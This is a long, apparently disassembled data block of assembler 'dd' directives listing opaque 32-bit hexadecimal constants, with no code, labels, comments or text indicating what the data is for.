7E4009F0h, 9E76F7EDh, 3F4EDA2Bh, 71552970h, 51E84ED3h dd 61536C90h, 0AD07BD8Eh, 17CB39DCh, 0B6CD8EF2h, 3CFD277Ah dd 4C0FCC00h, 727758Eh, 0B352C574h, 5940F30Eh, 486EE289h dd 73014C13h, 0EA54078Ch, 5A7846FEh, 0E580A4Ah, 2D769845h dd 0BB11D9BBh, 588D67C1h, 278AF625h, 0B8420668h, 0A8EB2461h dd 0E586BB6h, 0F475F45Dh, 51A527AFh, 8CB3BD67h, 20B1A06Ah dd 10952490h, 8ADBA823h, 37520863h, 45672A3Eh, 419F078Dh dd 9B5E6197h, 51351C27h, 0AED0C9CDh, 8124529Fh, 8849918Eh dd 0CBB35ECCh, 0A0047B5Bh, 0B46FE23Ch, 8BE0EF8Ah, 0D2641590h dd 364B5F41h, 873B9882h, 677E87B3h, 0ACD4D09Eh, 502E4AB2h dd 0CC38AF7Ch, 0A6AA8EAh, 6253BE17h, 3B7DF0DDh, 77948FB1h dd 0EF169A10h, 186B683h, 472772B1h, 0A7FC5FAFh, 2D9C34FFh dd 8D70AE0Ch, 502EFFB9h, 76915137h, 0FC28FCD2h, 950AFE66h dd 9A62F6F7h, 419B3238h, 87EC2F4Dh, 7703055Eh, 59D37D21h dd 7861FF32h, 0BC485FF1h, 0F6C5A4F2h, 6C59C3CDh, 0EFED4C83h dd 15B4911Ch, 0EC77C4B6h, 3F6EF3F0h, 0FAD8925h, 0AFBA6DA5h dd 0F65632FAh, 81054214h, 96EEE66Ah, 0B2A3C6ACh, 26DCDA14h dd 0A5234011h, 29529695h, 0E9F19379h, 752AB330h, 108FBF4Eh dd 0A337AFE1h, 0DC191F46h, 3D5B459Fh, 7A82F831h, 7B88384Ah dd 0AE06B802h, 0F352CBBCh, 0DAE4CB2Eh, 595539C4h, 0B1D08E1Eh dd 3E9F4AFAh, 60A61166h, 299AA5C7h, 0BCF6303Ah, 4D42258Eh dd 0BA22D7ACh, 169CF7A9h, 3E6654F6h, 119FC508h, 88FB9750h dd 7AAF01A3h, 0C358ABB3h, 0A4A51DC1h, 0C332C77h, 9D24C53Ah dd 47968115h, 0D2C284F5h, 4AEB2569h, 79317299h, 5F514413h dd 5DC7A347h, 0E957F584h, 69010A3Eh, 79B48F05h, 0A0915C6h dd 148F7998h, 0C7A5EEA1h, 0D2FE913Fh, 616F31Fh, 8DDE8669h dd 3A26D882h, 6B9F707h, 285F9AE1h, 0F898F6B4h, 3C1A45DBh dd 2693E688h, 4C9E2A0Bh, 0C6E8B3D1h, 2CFEB72Bh, 0C129D7E6h dd 60A3827Ch, 94056C28h, 295703F5h, 609860BDh, 0A7BC8A0Ah dd 0A353C82Eh, 23A370BDh, 0CD8D469h, 2C34E58Dh, 7594DBD0h dd 9D39146Ah, 0D633EECFh, 76380446h, 0F28BC348h, 9D6849ACh dd 4E6E980Bh, 982AB2C6h, 9F65A5h, 958EAFF8h, 2608F0ACh dd 0EFBCC183h, 51848B3Ch, 885463ECh, 0D61F3E0Bh, 0B12960EDh dd 992C6EBh, 0BEE2BCE2h, 394DC1Fh, 0AFADDE92h, 46AC5339h dd 4E90C629h, 7626064Bh, 8EDD3BA6h, 350E166Eh, 7D2E62E4h dd 3F1F22AEh, 0D46D53C2h, 0C388BB50h, 3AD03016h, 109061Ch dd 8E50C4B4h, 0C6B06564h, 2DF4F762h, 2BAF846Dh, 4536A24Dh dd 1CA15CF4h, 0ABC2EF43h, 8A18D3DFh, 3857BC7h, 0D5F1CC2h dd 6A14DBBh, 0A8CBB234h, 0F6CB65A2h, 33E39D63h, 8048FE5Ch dd 0D65E80B0h, 7690594Dh, 3CB36D75h, 834E5B6h, 0D5F55396h dd 68EA1B74h, 268D3E62h, 94B9F072h, 0A0C55803h, 27EF4FCh dd 54BAFC40h, 0A0791A39h, 8BC56F5Dh, 5D6187FEh, 18DB340Ah dd 0DBA7C5F1h, 0C280D9ADh, 1A641F8Ah, 0B59C69B7h, 0E217CB96h dd 0EF72128Fh, 0BA337572h, 0B693017Fh, 3E97BE51h, 0F1196C20h dd 2497B603h, 73017BC7h, 394F7229h, 0CDD54BCCh, 789A6FBFh dd 5EC09CEAh, 0A4AB2579h, 1937EC7Bh, 0B51767F6h, 0A2E8C46Bh dd 8DD1AC8Bh, 90AB5F54h, 0F81D6E94h, 924214BEh, 0EE1670Eh dd 0F7BD54BCh, 0ADB4B5F9h, 0DF64C47Dh, 8B8E4275h, 46F51F07h dd 0DEEB2EAh, 0FB6DE1B1h, 6A7802D4h, 64F26124h, 19C4F514h dd 0D3C4A052h, 0E37F3EE8h, 5A65AE48h, 58E79109h, 0BBF3FB51h dd 0B5118CFFh, 6957AE29h, 0C4D45331h, 999C29F8h, 5359DA54h dd 0C6DCA881h, 2038C938h, 0B98CEE44h, 96313A7h, 1AD6AA68h dd 5E15F133h, 67BC82D6h, 4B0CF0D9h, 0DBC3127Eh, 0F0672AA1h dd 1A846BC4h, 9A8DDD11h, 0C542462Dh, 0E96AF282h, 62DB3D4Fh dd 4963F6EEh, 0F3BCB0F3h, 81A781E5h, 437F4FAFh, 0DAF72482h dd 0B9225E2Fh, 4C769965h, 4B6AF658h, 0A5BA297Eh, 0BCC404C0h dd 0DAD0814h, 0B8E00FF7h, 0D5940FF2h, 0F55D7DD9h, 0BED50035h dd 0BCC94463h, 58E96F85h, 24797B86h, 0EE49252Fh, 21D33BD9h dd 22DDFE32h, 0E6EF9DAAh, 18FED376h, 902EFE59h, 8814C369h dd 5F54EC5Dh, 5D225B2Ch, 486557Dh, 1B1BA553h, 0A925C1A3h dd 5D3856D3h, 9EB15FFAh, 775E6E5Dh, 19A3E7F3h, 0EC36B0A7h dd 3B998A8Ch, 0ED856A14h, 0B8102AC4h, 82E2DEC3h, 9690C152h dd 14481D93h, 0DC9D4AC1h, 3605510Bh, 0F73E22ADh, 188CEC12h dd 32F6F1B9h, 81B2B504h, 7A54BABAh, 0CB550B8Eh, 40E6E741h dd 1F613A53h, 9EA998A9h, 5A7C938Ch, 0E8E5E0A4h, 0AF8F1C7Ch dd 2083E91Dh, 0E2DCF52Ah, 70312EA4h, 4E41C0A4h, 88A5413Dh dd 0BE2E68FFh, 3DDB5958h, 8D8AE002h, 944E129Ch, 7B22CB1Dh dd 0B214A9D7h, 0D9004A39h, 74C59CEDh, 79BC561h, 0C2044406h dd 0DABD538Dh, 0AD50122Eh, 3CE8B0D6h, 0AACF6014h, 92DD0B9h dd 3A767B45h, 21C972CFh, 99933D0Dh, 0F121C167h, 73B54327h dd 0D48B55FCh, 749CE3B4h, 187B1660h, 0FD1D4C4Ch, 612C79FAh dd 42D00805h, 9986DF3Eh, 2A898A9Ah, 0E5AC072Eh, 3B5CCE86h dd 79BEA81Ch, 869D31EEh, 94960F37h, 76DE27A7h, 0CA9EC6B2h dd 0BC2CE0F8h, 6532E821h, 23C88C7Ch, 90174367h, 0A6701DEBh dd 0ED91B64Fh, 655F4088h, 0B49C6D21h, 0EE3EF22Eh, 0BE39BA5Eh dd 0B040F22h, 720F93C5h, 0F1C29943h, 0B0175B66h, 8BE5AECEh dd 5A58D567h, 343FB34Ch, 0CC59FCAEh, 0CAC2539Dh, 0C4581A11h dd 9B0A4E8Ch, 6060AC3Dh, 0CC6E5702h, 7AEA7809h, 24FE4C04h dd 97C54E3Bh, 121F1345h, 0C70E4BDFh, 0B7C7CEA7h, 801B3D73h dd 0BBE9BDC6h, 775CE277h dd 0CFE1809Bh, 692495EFh, 4ADE6404h, 95FF3A3Eh, 7E53522Ah dd 0FF9240D2h, 3AF3EA07h, 0E8B6A419h, 7DBC2277h, 0E1EA4FF8h dd 5BB1B646h, 88288D38h, 87109370h, 0E3CE0198h, 1EB3B45Eh dd 0B30E47E4h, 0F624BA79h, 0C182A9FDh, 9A6843D1h, 26474A73h dd 93F38C17h, 8467E1C1h, 5F2FAE48h, 0AA679F30h, 0E4181656h dd 93FB4EB3h, 0E88340B5h, 7C5D37FFh, 0A534259Ah, 0C3E20DA9h dd 0BCEF35CEh, 2A413432h, 0B8C79A17h, 3BCE3575h, 0A5480793h dd 0BD6E6FFDh, 2E003746h, 22791E44h, 2B275F77h, 5C433C70h dd 0B811587Fh, 83B2C0F4h, 0B829ED6Fh, 1253A223h, 6CD5AA4Dh dd 0F64D089Dh, 5D360D77h, 0E7F83762h, 8F70CEEBh, 0F6313CB2h dd 0D628BA23h, 0FC70DACh, 9C7BD321h, 41C74E88h, 0BFEC5C7Eh dd 9A7CFEA7h, 84956414h, 0AD52F58Dh, 7CEA01E2h, 0F0D42848h dd 8A2B0847h, 4FF457C3h, 9FF6DDFh, 0C955C6D9h, 0B3F6E681h dd 7C9F7293h, 17D05113h, 15692209h, 0A3D2081Eh, 0D5B6D564h dd 0D597DA8Dh, 0CF28A31Ah, 83D4F2F2h, 8A2DDA01h, 1E1F6E76h dd 0F8C46C03h, 0A8FC8726h, 9E9CECBAh, 3F282F1Eh, 0AE3B33E0h dd 81E7D451h, 113ABDC8h, 0EDD584B9h, 605A314Eh, 0C18921BDh dd 6B90AA19h, 49046768h, 142965DCh, 0E00F6D7h, 80F8AFDBh dd 0AC7E0064h, 0E3049AD4h, 0A666CFF2h, 0CE24F68Ch, 9244F507h dd 0C0099ADEh, 15C680C2h, 0E43418DDh, 36A12B20h, 92BFE700h dd 0F16ED33Bh, 909B8F99h, 0AF473E7Fh, 2823F6CBh, 0FBBCC58Dh dd 477C92F7h, 0DEEB4735h, 137BC9E4h, 0DD8CEA9Ah, 0B0B84DFBh dd 6BE6E2EDh, 0FEC7CB33h, 3802FF22h, 532CFD0Dh, 3951365Ch dd 80D4C46h, 5A562157h, 0D22D7373h, 1F40D0E9h, 0E344A2E2h dd 180DEBD2h, 6D4E4404h, 2A5B8A21h, 0DDBBF830h, 0A6BA2766h dd 0B7040E2Fh, 0CCAFE579h, 6795E372h, 69DBDBE2h, 0DE59592h dd 4C54A984h, 79A6E504h, 0F2B93768h, 65AD8AC9h, 0AABD5CF5h dd 8175CEA8h, 5A5E565Ch, 0AA4AD46Bh, 8B7C5526h, 48E65E4Fh dd 1544D34Bh, 1B7640DCh, 10C070EDh, 41DCB02Ch, 0D9F9F48h dd 0DEDD05B2h, 57C11F39h, 9F1879C6h, 215B9EC7h, 0EE86F88Dh dd 0C90394F1h, 690780FEh, 0D4C68678h, 90B5FCFEh, 1E2BD934h dd 9982B973h, 621F51BCh, 98537838h, 0A79A09B5h, 458DF6CDh dd 65A4C8DDh, 1E9B740Bh, 25C1DE30h, 0EC6716E7h, 2817B070h dd 23677C1Ch, 0D839B27Fh, 89939869h, 5862F7E6h, 0DE23AAF6h dd 4B767860h, 0A20CAA8Ah, 5BBC6364h, 6525F408h, 8EFC719Bh dd 62902C7Bh, 35C632C0h, 0AE30D49Eh, 65178F86h, 0A1910FD6h dd 0E0FFAA16h, 858A35FDh, 1A2C3FACh, 1458530Dh, 0DFE59D07h dd 0D42288D5h, 88527524h, 0D037AEB5h, 74C4B857h, 25F7AF68h dd 0BB2F91D8h, 0C1548C93h, 2CA4FCA4h, 0ECA7B238h, 6432C40Bh dd 0FB25708Eh, 0A06EE9DDh, 0A3B2783h, 0BF70CB65h, 0B201C3B2h dd 0CA7DAC94h, 0B4D4DB04h, 0D7307345h, 0EFDE467Eh, 790857B0h dd 42207392h, 9EB43D02h, 4A38E9Eh, 763AE9EAh, 70531B90h dd 0DA8E4256h, 1D7EBA4Eh, 0DA0217D9h, 0CEB61A2Ch, 12E8172h dd 0A0DE8B23h, 0EA22B794h, 0DD602668h, 8C98DED9h, 0EBCFD0BDh dd 5827E89Dh, 0F2FC3C12h, 8195B649h, 0E09FD407h, 3FF7AC89h dd 0BE670F15h, 0AA51428Bh, 0D9A516B9h, 0B3EDCBACh, 24D6FF46h dd 1E7E1D79h, 0AF5AE137h, 0C1BAEFCEh, 0F9E94E26h, 0B982332Dh dd 8950B977h, 90C6ACB1h, 1DB3AC10h, 826ECD0Dh, 716CADFDh dd 6154EC61h, 0EEF4BE99h, 52F90BEFh, 804A550Fh, 0FB998D7Bh dd 0DB95EB83h, 350FEB61h, 6FF6E35Eh, 5F3D1C12h, 9443BECh dd 8D4C2570h, 0F3770291h, 955C9DD3h, 0C47EB53Dh, 0D1157455h dd 1BD46948h, 17A4B235h, 0EE143793h, 5E92320Dh, 2BE5BE6Dh dd 848CDAB4h, 4E87751Bh, 0E264D019h, 746F2DEDh, 4A541823h dd 5DC7C6DCh, 0A4F0BB18h, 0CD22CD9Eh, 718E4B63h, 0C529B8EBh dd 0E35589CBh, 50CC0CA5h, 0E37F248Fh, 0C1AC6D54h, 798F339Ah dd 4678E148h, 0EC726600h, 0D194FFA8h, 0CE0AD564h, 2A443FA7h dd 814A61B4h, 2631AE3Ch, 0F0B0BF20h, 16ED55E0h, 0E11BF2C2h dd 0A722C995h, 0B3E6414Dh, 0FBBA9215h, 0D825CBA3h, 0CD1364C9h dd 0A9A6933Bh, 157C59Eh, 0C52FF41Dh, 0D459A616h, 0F617EF52h dd 4BDDA818h, 0C7BEC4B6h, 7EA88E96h, 1F6A99B6h, 632FB111h dd 5ECE2116h, 6B7564FBh, 4EA3FA07h, 4587D329h, 1E8546D5h dd 6BCC9B74h, 61314B99h, 3F6014Eh, 0B1155DE8h, 78F29DE7h dd 831726C5h, 2684D3BBh, 0F0891F55h, 957CC86Eh, 0AA7E099Ah dd 0DE0272E1h, 0E89A32E0h, 6526F210h, 0CD876F34h, 0FA247929h dd 3FF0A9B3h, 0D9538690h, 0ECD1DCB6h, 0D90CE462h, 0FF197372h dd 0CAC0CA2Fh, 42BFD72Ch, 0AD17C563h, 3E2EF549h, 417AE92Ah dd 1003FEC9h, 22CB7CE1h, 0A0534597h, 84A0EEE5h, 50EC1929h dd 0FBC5BEE0h, 0F886A07h, 0E672BD22h, 5D4E6ECEh, 0BBAC785Fh dd 71A45217h, 0B7EBA286h, 84588C81h, 0EED89374h, 3867687Ch dd 8C9C50DEh, 2D517369h, 0F208919Bh, 795A4E19h, 70C395EDh dd 131B3FD0h, 0FAD53581h, 0B9C75351h, 0C5ABA456h, 0A1CD3065h dd 0DFD9AA35h, 0EF8D0BBAh, 10ADA284h, 30107C04h, 0FD62206Dh dd 0F876D699h, 0A2957A5Bh, 9900E6E5h, 0E6F4EF27h, 0B25C3B0Eh dd 9778F178h, 73F3DA61h, 80D5375Dh, 0FE6AC86Dh, 4719AC94h dd 42B19029h, 18A2AB2Ch, 72C0F38Ch, 451542AFh, 6590625Fh dd 59411DD1h, 9FE2C0A1h, 51801F55h, 0DCD89B96h, 32122389h dd 0D3EDB9B5h, 0A28BC3C7h, 0D18FA80h, 0EF26353Ah, 3D86719Bh dd 9A467891h, 69FC25C8h, 5BC7C870h, 0D52FAF54h, 9BEC2960h dd 7A784781h, 747BBB08h, 0B5D8D44Ah, 0D05DA7D6h, 733E3D96h dd 8386010Ch, 0C267D9E7h, 9BFA2C54h, 0A2EAC4A6h, 492FEC3Dh dd 90EA6802h, 0C742B647h, 26E2C6AFh, 89F71BFDh, 0A9509517h dd 0B2EE9C5Ah, 2383DC61h, 0A968309Ch, 643C51D3h, 471BA78Bh dd 0AAFFEE2Fh, 0B4E9D128h, 0DBE17B13h, 4384AD05h, 0A5E85164h dd 950E57AEh, 0C4E3CF17h, 44D7F3B8h, 9487A3FFh, 0DC12668h dd 0D5D7A41Dh, 9972AC15h, 0EA959DD7h, 47EC925Fh, 0EA4196CAh dd 0C91462FFh, 83C911A4h, 73159DDDh, 0BE9A14EEh, 0EE9B1DC9h dd 58C8305Bh, 201069A1h, 800FEEE0h, 4C39812Eh, 5AA0FAD6h dd 84E2C2Ch, 0E6F2D7F7h, 39E73BB3h, 667B2223h, 0A6021E70h dd 10355A2Ah, 7608B404h, 0E5BC01F5h, 0FF9E8DC4h, 3D63FAEAh dd 9C8A91F2h, 0E3B9508Ch, 21200141h, 0F8D3208Bh, 0A536B804h dd 65DBE9EFh, 0EF3B834Dh, 0FB663A12h, 516671Fh, 7E7F6B64h dd 0E634C7B8h, 7539154Fh, 0A0141AF5h, 353C84E0h, 0BBA40C95h dd 28982CAAh, 22D3E331h, 0B4062C8h, 5AAA5885h, 0C9E5C5FFh dd 0FBFFA3D6h, 0CB7D7D1h, 446ACF70h, 9EF0FC61h, 3D73AE20h dd 38E65478h, 0D2A5DED3h, 126C85F0h, 8CE056FFh, 0FBB39300h dd 0B9AAA864h, 7729A6FFh, 9E859B48h, 0ECB5728Ah, 0B8DDB1A5h dd 0D0A9F461h, 759B0EDAh, 85E44519h, 209BCA0Dh, 0E8CAC47Ah dd 7A412D5Ch, 16EF2055h, 9026F552h, 0F2E7759Bh, 65F0CC40h dd 0D1B111C1h, 0F3BDF8D5h, 31E1E9C7h, 0A47408D2h, 0EB6EC9FBh dd 0E9E0A09Dh, 0AC23DF86h, 0EF9E210Fh, 4F95DF18h, 75BBE749h dd 0DEA15DACh, 0CD581F28h, 2B7AFB4Bh, 9CC8AE7Ah, 250515A9h dd 72800C3Fh, 0FEC3D661h, 4C92A585h, 7A8E9E67h, 0F5B5BCB3h dd 0DC5DB02Ch, 80D3C3E1h dd 5AA8E778h, 30B7B53Eh, 0D792B6C4h, 3D2F1316h, 0BC035310h dd 0AD850306h, 6DF0DB55h, 1D8F2F65h, 0C10CF906h, 2C7C1038h dd 0C3D99BBFh, 83395C09h, 349EB2D1h, 28B7C65Fh, 0C338DF47h dd 2030E3B4h, 5654966Dh, 9888B81h, 977ECC1Eh, 0D72227C3h dd 9F04BA3Ah, 9C4E0BC2h, 8217DD85h, 0A22CA428h, 1D62C286h dd 41EEC0BEh, 77C659E0h, 82B56229h, 6B9A42E1h, 85E71D5Ah dd 80450959h, 0E89A7371h, 0CC525128h, 65ABD85Fh, 7F90D6D7h dd 58DDAF28h, 9FFE1D6Bh, 0F9CB5FBBh, 198A4320h, 6E62C0D1h dd 0CF9CEFE9h, 0EE5330C4h, 9FDA9DF8h, 39BC7467h, 0F082161Ch dd 0E3291107h, 0A3BEFD09h, 0E1EBF390h, 0AD804EEDh, 0BD71AA89h dd 43C7BC1Fh, 572D565Dh, 2A8FDF5Fh, 1C6421C0h, 5B5852E4h dd 8B3F1476h, 726C8356h, 27E2FA7Dh, 577436CDh, 354866A1h dd 621050CEh, 9C67430Ch, 28E951Eh, 0D24D4842h, 5831F2D4h dd 0BD164723h, 3C676E22h, 5C4297B5h, 5D64494Bh, 49362DF7h dd 4A95ED04h, 0FEC9511Eh, 0D459B31Ah, 3386AF2h, 0DE3DD7F3h dd 0F11588AAh, 113FB6A2h, 0E5CCF7C7h, 84F0BBD4h, 0F073E950h dd 35365CAFh, 0C6F91480h, 7CEE5974h, 1F983A4Ah, 0B1CE5FC8h dd 41D0F967h, 0DCC98949h, 0A7B019ADh, 0C3DD1FDDh, 30A9C19Dh dd 0F424ECB0h, 0F982234Ah, 2A64B117h, 85BDE2D5h, 616B93D8h dd 99E21EB2h, 91EC69D8h, 7849B471h, 0CE9FADE4h, 260338Ch dd 60B0EC15h, 36D6AEC7h, 55EA7461h, 7CA6E56Dh, 0E011481Ch dd 4B3535C1h, 0E2AED94Eh, 0C811F1F4h, 2AA795EFh, 6AEFAE77h dd 0AB3424A0h, 0F65DFCFEh, 7E7CD9DAh, 0C2C59CEDh, 0C43EAA0Ah dd 0AE9CC823h, 3B86603Fh, 1B78006h, 70AEF94Fh, 0B0DAFA78h dd 6C18360Fh, 0E0115DB7h, 0AFA8C36h, 0DC45BAAEh, 31A74385h dd 9C960CDEh, 0F5A6D249h, 735DA748h, 82F8397Ah, 2E1F10A9h dd 0E70C9900h, 0EBBF2AA3h, 8A0A504Ah, 0DB8FF973h, 0F9C64722h dd 0CF9C90D1h, 14255616h, 0A76B0864h, 0E9252A3Ah, 0DFF119F3h dd 0A14D60B1h, 0A1AF722Ah, 0F90E90B8h, 0EF99F98Ch, 90396EE4h dd 0E4AF41FEh, 41284DDCh, 9409C465h, 223B23DDh, 2456E4F1h dd 0EFA8D0C5h, 0C5DB70C8h, 34E113C9h, 10AC9F80h, 875D1F7Fh dd 3D1816D0h, 18F0BF06h, 0FCC5DE89h, 1502EA0Dh, 506E0834h dd 501F3D25h, 33C3C4CDh, 8D16D72Dh, 0E85E34E6h, 0EF351D51h dd 0DFEEEA58h, 22909467h, 8ADE0C7Ah, 8253FA27h, 347CF15h dd 8DDFD354h, 0DEB7B0A8h, 35F06944h, 92EACC39h, 8C7AAC3Fh dd 893374EDh, 63EC52ADh, 444B2100h, 6545D942h, 85EA292Ah dd 0F4B77192h, 0C5A7F901h, 0F6D53E07h, 0A5589CDh, 8DE55E23h dd 2E31B5D5h, 0D2ABD928h, 14697E6Ch, 46D8057h, 0A3BAA4FAh dd 0ED6F9C17h, 4C55E8DCh, 0C6009311h, 0EC0A001Dh, 652BFB4Bh dd 0D59A99Ch, 59BEB2Ah, 1078790Dh, 3C487D42h, 0D442BA45h dd 0F2B972Ah, 71928FDEh, 757231D9h, 1BECA412h, 8B0B3C1Eh dd 7E63F35Ch, 14C7218Eh, 71EE8C36h, 0A99072F2h, 3D3620A4h dd 91D90F46h, 0A22D1A1h, 0DF768D43h, 680ABF53h, 7D2EDAFCh dd 0BE48098Bh, 779A8A13h, 581F1E15h, 1F52F5DAh, 0AF688E2Ch dd 0D8C23C38h, 0A593CDDh, 0ACB26844h, 980AD2A7h, 8B36FCFBh dd 35F3E0B5h, 8B4E942Fh, 0B4C0F44Fh, 332F80E1h, 8BEB3C44h dd 0CC84D255h, 96867DD7h, 9337BBCh, 4EB4ADA3h, 0A507BEF0h dd 0BD8F685Eh, 0F73EAA12h, 77F2C113h, 0E3E81352h, 8D6AE593h dd 0C1880Fh, 0EEE0650Ch, 8A4C0EFh, 69615502h, 0A987DD5Ah dd 80D09479h, 0AFAF3416h, 4BCEBE9Fh, 7DA761FDh, 54B1125h dd 0D919B18Ch, 58F57E12h, 0C005C79Dh, 24DC8A28h, 0F32C21AFh dd 5ABA87FDh, 0B74F8431h, 3146319Eh, 0D1B84DDh, 24B2BC05h dd 3529B0B2h, 421100D8h, 0B5CD8432h, 0C2AC0A6Bh, 8472BB4Fh dd 0E1E24627h, 84DB107Ah, 16D387DCh, 90E31CA3h, 3AC5A457h dd 833E3458h, 19FB3E1Bh, 0A08F0607h, 0C7FDD777h, 7125D5BCh dd 3E29FE78h, 0B9461465h, 0A5A3E335h, 0A9871A79h, 4A80495Ah dd 110E6F93h, 4BC5C6Fh, 2113F875h, 27847C11h, 0DAC32AECh dd 26A88D27h, 9A936807h, 1589F3FEh, 0B3BA5433h, 127781A0h dd 8B4B0505h, 796EDC35h, 0B44B86A3h, 0B90AD1C3h, 0A90FAD19h dd 15548226h, 0FD5D9A5Fh, 1C7212Fh, 0C61A464Bh, 91D4821Ah dd 0CE53B6C2h, 0D309D471h, 1485AC1Bh, 2CCE9150h, 0CD23DC2Fh dd 7BED4473h, 48A290DBh, 0D5A056Ah, 0F5ABBF9Eh, 46C8DBC4h dd 9197256h, 5FE20685h, 0A468117Ch, 0D61DF650h, 5BDB98CEh dd 1EF712B6h, 0EC845834h, 0BB274A68h, 6CCD87E5h, 4207C7BEh dd 654AFD0h, 0D819CECFh, 65666E6Fh, 2605AEB4h, 0E29BB514h dd 0A672FBDDh, 0FE8BC502h, 249A3476h, 3345879Eh, 87783014h dd 16EFEFC7h, 9D3DBDE2h, 0AA275F45h, 9143F22Eh, 16AA3F9Bh dd 66E2EEA3h, 0AC374620h, 7FC22086h, 28778C72h, 3516EA19h dd 70E88A56h, 0AEE4AC7h, 7EBB3567h, 6F4799E7h, 856DC63Ah dd 0DAFF0EFh, 9DA7A787h, 1D84796h, 6FCA341Eh, 0FB677F5h dd 3D8736BBh, 85D4C773h, 3A697AB5h, 0C6F401ABh, 0EEBE0A0Eh dd 605A35C5h, 71CC792Dh, 9EB062C9h, 370E40D9h, 0D6D3D4FAh dd 8221C42h, 0BD92B060h, 0B7F05CECh, 1500A61Fh, 94B6F08Eh dd 0C245B884h, 0C213D838h, 63A6A94Dh, 7C67DAFFh, 9DE27534h dd 9935AC4Eh, 55C93F1Dh, 1F12F73Ah, 0B32F51A4h, 49C7347h dd 72B69163h, 89B8A7B4h, 0B28E48CFh, 42069392h, 530B3CFAh dd 964DFBF3h, 0F555CF53h, 0A916A7EFh, 0D04B94C5h, 3FF50346h dd 8FF1E4B5h, 737E600h, 0F221265Eh, 79AB1BCh, 770F9DB9h dd 12027267h, 6E7A5F7h, 0B1D7FB66h, 3396B7BAh, 0D94DE2E3h dd 35846EF3h, 6E38C1A5h, 0EF628548h, 0E7BDA484h, 478852Ah dd 0C50FE2E5h, 0E61D5E20h, 5D09167Bh, 7DF0522Dh, 0C34BB986h dd 4F30AE5Fh, 19BC98E6h, 6BEF10F1h, 0F58C6C1Ch, 0B07B6FE9h dd 0C5DAC067h, 0C03D406Ch, 296209C3h, 0A7FA0C30h, 80F5DC4Bh dd 9793BE5Ah, 771BA793h, 8DAD1C97h, 14D26148h, 30DFA51Bh dd 6D2F2949h, 5E985ECCh, 82560F43h, 84CA4690h, 0BF3948E6h dd 2BD95D46h, 0E06152D2h, 274B3B10h, 0CF6E01D3h, 296EC4EBh dd 0E242966Ch, 0FC246C82h, 120574CEh, 128A3BE3h, 3C8A6CBCh dd 83A23BB8h, 1992BB60h, 38205BDFh, 0A973CD11h, 46A327D7h dd 0CFFC3BCDh, 14C94971h, 1FFAEB19h, 723087Ah, 4A0668DEh dd 74AA822Bh, 0FF06B960h, 0C96C0C02h, 58140D72h, 0C8FEEACCh dd 0EC7A135Eh, 7E9AC64Fh, 98C81F6Dh, 9EFDEAEDh, 7C549996h dd 0BAD0914Bh, 7E8AA09h, 69AAE3B2h, 6AA84E52h, 6FB563BBh dd 2CB4BC09h, 0BA3712C6h, 0B178F7DDh, 0FAF553Bh, 5C2D6A47h dd 2AFC63D9h, 5DBDAAECh, 5FABE011h, 610E614Bh, 4721C72h dd 0F1EC91h, 3E265B42h, 872E54EBh, 0C095095Dh, 7F7438DDh dd 0D34EFDAFh, 9D692BF8h, 40DBA206h, 5E6A7891h, 7A7C8879h dd 97DD44E9h, 0E0008689h, 0B69C2711h, 2BD5760Ch, 24493F84h dd 9E542B39h, 25BDA680h, 0B311960Bh, 0CF84A581h, 0EF7AE1C1h dd 0F4D8E2E4h, 3EC297BDh, 0E6C7AAB3h, 945883F5h, 0CBD17C6Dh dd 4CE91104h, 383A82C8h, 3C53806Ch, 2C754106h, 7ECA1B3Dh dd 5477BCA7h, 0C9935BFBh, 0BD8D7DCBh, 0B1FD29C0h, 4C89EBAAh dd 9343024Ah, 0E1AD6026h, 0DADB78CAh, 0C9D28025h, 15D6674Ch dd 0E8C51F46h, 0B9E509h dd 0BD8882Ch, 37243460h, 0B560469Ch, 2DEF6F50h, 0AD720AA6h dd 698F77BFh, 0AC50F4A9h, 0A18F9801h, 1C0CF9CBh, 68D9BFE6h dd 75A9131Ah, 0CD1BF9E7h, 29E9A34h, 0DE838E27h, 9AFF3CDEh dd 6B7EB479h, 0A832F516h, 891FDEA4h, 0BE09A4E6h, 24DB574Eh dd 4F1A738Dh, 0ECC5626Ah, 8B8FEE94h, 4FD449E1h, 6DCC756Ch dd 22C9F798h, 0C0069802h, 87ED0E3Eh, 0B62B770h, 0A0BD26D4h dd 21C4F4E0h, 192A8552h, 0EDE3A2EAh, 636D2084h, 0D92F6A84h dd 476CC4D1h, 1142AD7Ah, 784C481Dh, 91E9C38Eh, 0B9368079h dd 0AC806EECh, 0C51C9A10h, 0FC3231F0h, 0A52E2959h, 4D1F1C1Eh dd 0E55AE021h, 0E8507D89h, 0F79E70F3h, 1BB32D16h, 0DD85F19Ch dd 5C7CE123h, 0FB960594h, 24A4D49Eh, 17D3CFBh, 4F04698Ch dd 0F63AC9D0h, 83A0156Ah, 0F5A9B49Bh, 17789023h, 0C23A45Ah dd 6CE06139h, 0A27A1B8h, 0A196D163h, 8009EEF7h, 7669F3E7h dd 6AD3AF42h, 252CA00Dh, 404197F0h, 0A5155505h, 0F5CDEEABh dd 0BED95ED9h, 309CDD93h, 0A6DBFAB0h, 0E638E715h, 78058CC8h dd 2F12B0A4h, 1E6E3D0Dh, 0AF6F6C6Bh, 2134EB6Bh, 0E6916180h dd 8C1F5027h, 0BE2710B7h, 5B629DBDh, 0B5F7EB39h, 0BD0C594Bh dd 2DF1F1A3h, 59163611h, 0D3CE8674h, 0D00CA3A5h, 2A5FF79Ah dd 0B1714ACCh, 0CF28E604h, 0DFAB547Fh, 0C613EE80h, 8E04EE51h dd 6FA5C3A7h, 8848408Bh, 6E87898Eh, 0D7D72738h, 3A6610FDh dd 0A3A9B02Dh, 0F430CCABh, 0E29FFEAEh, 0D8D7FD31h, 0C0E7F5A8h dd 3CFBEB0Dh, 6C35C289h, 8DCE4373h, 1A0637CEh, 515A22F6h dd 0C01D09D9h, 1B6CE205h, 0B7D35B67h, 0EDB5436Ch, 1E2FF4C6h dd 31226971h, 0DE9FAE2Fh, 74DC0547h, 90DAC272h, 0B88EEFFFh dd 4B7FB405h, 8FD44BF4h, 0FA37FE78h, 9311371Ah, 9E52C0E0h dd 40B90EE4h, 64E5DB1Eh, 677912FEh, 0D0842B46h, 11C143D1h dd 28FEF681h, 6A250D8Eh, 0A6279D85h, 0D47C641Eh, 4B5C8957h dd 1BC3EB5Fh, 824F38B6h, 89A2FFBDh, 0FCA37FF6h, 9894E119h dd 0F948FC65h, 0F7A64524h, 7DEA6F8h, 76288018h, 5F58849h dd 1EDCCDABh, 55379AE3h, 2929801Ch, 0CFDBF8E3h, 1EFD9BF1h dd 0DC33E08Dh, 0CC843E9Eh, 9DBDFD7Ah, 0E0FDA200h, 65AFCA4Ch 